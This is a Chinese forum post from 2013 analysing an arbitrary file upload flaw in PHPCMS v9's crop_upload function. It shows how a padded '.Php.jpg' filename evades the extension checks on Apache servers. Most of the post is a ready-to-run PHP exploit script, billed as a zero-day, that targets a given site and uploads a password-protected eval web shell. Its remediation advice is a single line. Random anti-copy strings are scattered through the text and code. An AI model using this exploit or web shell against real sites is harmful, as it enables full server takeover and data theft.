找回密码
 立即注册
查看: 2721|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
' E/ P6 l! M" W5 Q# H3 i* ?5 ]8 i1 E- o- t
简要描述:
; N9 _0 P0 E- S! G* d5 i7 b5 V0 E) ^. K/ Y2 B7 s- ~
phpcms v9 getshell (apache)
4 h' |( B; x( [( x, S% ~1 E  w" s详细说明:0 g( C5 ]& m) }1 [) [
% Y. \! I1 f. |8 Z3 D
漏洞文件:phpcms\modules\attachment\attachments.php
) j% O" w3 W( x6 ]7 X" N  \% n* M( ~9 ~* r# Y3 M6 ~+ _( T( r1 Z& U
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
, X& u0 B3 X( ~3 B) P$ J5 t" ~后缀检测:phpcms\modules\attachment\functions\global.func.php
& C4 S! W1 U- g& E
) ^& O3 ?$ |6 R- V   N% X1 ^7 H) k  U8 B6 \; {# Y' l
5 w& m) m: m" F8 r3 V& Z8 B
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
9 c2 Y( ]( ?$ t  W% x! F; D
. y% D; r+ h: [5 v# W" M关键函数:
3 i2 M4 r* i0 Y6 E
9 F. R  z. u% M' m / H- |4 L4 h- g2 R# a
- h$ L" @: j; b8 \; ^! f) C, R
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
( f+ c, d. L8 m% `; v
- n2 h3 P' J6 `! l5 I, S, o  Fileext函数是对文件后缀名的提取。
6 u2 a) v$ e$ Q! f. e根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
0 B6 o4 a" P& y* b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
4 K9 k8 a+ S! _& E0 P我们回到public function crop_upload() 函数中
; F6 c( x  i4 w9 w# J) rif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
  L9 U$ {( t0 \8 Q5 m在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数8 }7 T3 @, C' {; o( L: N" z
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。6 H  ^6 H# K% \# [4 u
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
' P6 M. o: M0 r6 {+ Q( S' e! n最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。- A' Z4 K8 v3 w. F5 n+ t5 h: m
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
! h+ }, O8 w) S漏洞证明:/ i% W: s9 _( ~6 n# |

3 L" T+ w7 P. c: L1 lexp:
! d, }/ f: b" s( {" h8 ]( W; L( E. e# Q# d* b6 F+ b
<?php% P: L1 J( _0 f/ v, A
error_reporting(E_ERROR);
; ], G+ P* N* G: u; y: p; ]set_time_limit(0);
+ }8 h! `+ }6 A$pass="ln";7 ]" r! [  F) p! {5 Y* n
print_r('7 }9 X' _! M0 T' y: `8 _
+---------------------------------------------------------------------------+
, j7 r$ F. c& G* FPHPCms V9 GETSHELL 0DAY
+ K: }6 I  _, O1 n  qcode by L.N.0 L/ V/ s$ S. S* z1 J2 V

* r! ?$ k8 a2 j( n- v7 hapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
$ v: C( S% Q$ f8 S+---------------------------------------------------------------------------+
" H# t' B. m! Y, Y');1 i" C7 d' c* i9 |
if ($argc < 2) {
, w6 g1 g! ^2 Aprint_r('
* i. j1 f( [9 [+---------------------------------------------------------------------------+
  W& X" D, s0 I3 LUsage: php '.$argv[0].' url path
8 q+ V2 n3 q# v" H2 p. T8 a+ J! Q
3 {! d& q& g* r, }$ [9 c/ J6 }" v5 ZExample:
' N# q/ C4 H7 T% p7 l& S1.php '.$argv[0].' lanu.sinaapp.com
. g: C- {& w+ P( M2 z' f' k2.php '.$argv[0].' lanu.sinaapp.com /phpcms2 G" d! ]$ n8 p" `" T
+---------------------------------------------------------------------------+
7 m: o, x; P4 g. ?, [; v7 x');
1 \" ~; G1 b6 U& Z7 x* t( Jexit;
! p# [6 t- I/ h6 y8 m}
! f- K. T4 i! x  \" ~( B+ u& S
" F+ Z6 A5 J8 ^: Q+ c$url = $argv[1];! c6 H! K5 Z: `# N( i
$path = $argv[2];
: s: E7 y( U% h' z- ?3 s" a' ]$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';$ U! n0 x+ J& }6 C# g: T: A" ], i
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
! ]" K' b! [" _if($ret=Create_dir($url,$path))
" d$ Q9 T5 G* S! v! D) b0 m{  ~6 i" X! M2 I3 a1 f
//echo $ret;
/ o) G* C8 g& L! {+ ?$pattern = "|Server:[^,]+?|U";, Y5 P1 Q# G0 v; a: n9 d1 P
preg_match_all($pattern, $ret, $matches);
: S4 `. F- \' D; ^" ^" c. zif($matches[0][0])
5 |9 a; y/ z/ N# r{" @2 y, ]9 ?, C  P
if(strpos($matches[0][0],'Apache') == false)' P- q5 l0 R, V" D+ g
{
5 P, x4 Y2 c: _7 b8 A  mecho "\n亲!此网站不是apache的网站。\n";exit;
* N% y3 [; ?7 c% h# ~}
  b* n6 _7 _2 p}4 }* s+ \( }* _0 e/ W: Z+ S! U
$ret = GetShell($url,$phpshell,$path,$file);
9 J, P! W  Z' [0 D' _$pattern = "|http:\/\/[^,]+?\.,?|U";! n+ I5 b1 V; S; Z, Z3 b8 {0 i
preg_match_all($pattern, $ret, $matches);/ M+ M" f) L5 t
if($matches[0][0])2 J) i+ B: s; m: g( t* p, J# d) d
{2 J( Q. L- R5 |3 ~1 o0 ]
echo "\n".'密码为: '.$pass."\n";
( A. K" B: x: g7 T9 U9 w' F! Xecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
# w0 i, f% J2 {0 e1 A7 Y% C}4 H- }% R- h/ A' p; H& z9 F& [0 ]
else& y' D% T% |8 l
{, M* z# u" ~, y4 g, H
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
9 p: \! U: h! O- [* E+ B) q' Qpreg_match_all($pattern, $ret, $matches);6 O  O8 V4 O: S# Y8 R
if($matches[0][0])6 D( Z7 z/ ?9 @" A- J
{; F% ?. w6 }. x6 E7 n/ N; Q2 h
echo "\n".'密码为: '.$pass."\n";
9 S; O# U* Z/ j' Q/ W: R1 decho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
- V$ g0 {% k1 l& k0 O) s}
* w/ q- l7 s9 Y% @+ k. k' Lelse
9 e7 r7 T6 c. |% f0 E9 I1 ^0 @{
/ N8 E0 e0 G6 ]7 A' x, ^$ `4 ]echo "\r\n没得到!\n";exit;0 G, k$ `- B* y6 A$ S1 a3 |% A, \
}
6 h3 Z: m. a* K; b5 M2 i) d}! w/ X( F& l3 X7 E. b0 ], i
}' ]6 o- ]4 B1 m# c, I! s

0 L% \" H- A. B' B1 ?. L) o9 C; Pfunction GetShell($url,$shell,$path,$js)+ n2 [. d* |% o/ X$ f1 q1 ~  i' Q
{
$ H* [9 I. T) o7 w% q3 F$content =$shell;8 W! R7 z* ]. A/ U2 n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";. r; O9 f0 z! |, B6 K, y4 {
$data .= "Host: ".$url."\r\n";. }9 o4 E: h1 B% k" J
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
8 p; E' s/ v5 p, t9 y$ O$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";$ q$ Q6 T% {) U5 g4 p3 [
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";0 y7 F; u9 e1 T+ A
$data .= "Connection: close\r\n";
  g2 o! z) _4 [; a8 p$data .= "Content-Length: ".strlen($content)."\r\n\r\n";( ^5 E) ?# Q$ [  z9 ]
$data .= $content."\r\n";
/ s( d. A; P& d  |/ c; c$ E8 |( u$ i/ @( _$ock=fsockopen($url,80);  i; F- W: M( B% P4 }& ^4 v
if (!$ock)
' Z9 G' ~  n" G2 I7 I5 r# K{+ }/ N" n4 l! F
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- g' n! g  {5 e  t1 U3 k}
+ E, o" a$ w# [+ m6 K3 k5 G- Welse
! X" o: V& M2 e2 r" `. w% j2 W{
# g& h: D: f& p% R8 n* Ifwrite($ock,$data);0 S1 O0 e& s0 K* `6 z
$resp = '';: i* F' I: A0 w% p: q
while (!feof($ock))' M  E) m) H/ u$ a4 }7 F
{
7 O( ]) V/ I$ W) V! z$resp.=fread($ock, 1024);
/ _$ V6 F( N* r}
$ W3 ^6 N! |0 @! Freturn $resp;1 C% j5 F$ y, U& x. b' q3 ?. q5 G
}
! F7 ~( b; ^; P+ c; c* y}
' d& A" z9 t0 h
. T$ E5 R; n  \5 T  A4 d' F7 {. t8 Jfunction Create_dir($url,$path='')
# @& S- R9 P/ \) z  S2 O$ {{$ ^" c8 X6 C( l  F& Y+ T+ Z6 V9 U
$content ='I love you';
' t5 {0 w* {( E4 l; y$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
5 l5 j0 x: G, Y4 i' M  w$data .= "Host: ".$url."\r\n";- \# N5 H9 u$ z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ y  H9 w. ]0 [
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 S# h4 V1 o1 U5 y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 H: f7 K( R; _! F3 f- {* j; K2 Z$data .= "Connection: close\r\n";2 a9 [" A+ @# Z% f$ A) W
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";5 l' _. h+ \& s% U6 G
$data .= $content."\r\n";
# G1 D9 u- Q0 o/ G1 t$ock=fsockopen($url,80);- N; x% ~3 ^5 L7 O, C% Q6 H% ?2 w
if (!$ock)* n6 r; F3 `  B: I' @4 |
{
2 H' b/ D% {" L: i/ U% ~echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;$ w1 @5 v# ?- r! D  e* z
}
7 y$ j& D) W  b7 Jfwrite($ock,$data);7 z$ U7 z# C8 {1 U& s
$resp = '';, [! c0 Q( ~3 D) t2 [  T8 p3 T
while (!feof($ock))
0 j" o6 y4 E: N" R{$ {. ]6 z; L. e0 u5 D% F) }( e6 p
$resp.=fread($ock, 1024);
0 }7 L* E4 V0 O! n# h( B* i}
8 b8 V- l4 _% h$ greturn $resp;5 C0 ?3 H3 V# z( ?8 A+ b7 J
}
4 c+ N. ?& c" Z?>
" Q- j3 o1 D6 v& R; y$ U: L' y/ c
$ p% i2 I- r$ F, i9 \' a修复方案:
" m% Y- E2 z2 Q( a) p) I6 L7 _. x4 P5 C' s& M; k0 S
过滤过滤再过滤
$ H  O: A" A7 P. o  ~: O: U
2 d: J+ h( M- U# v8 F1 \
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表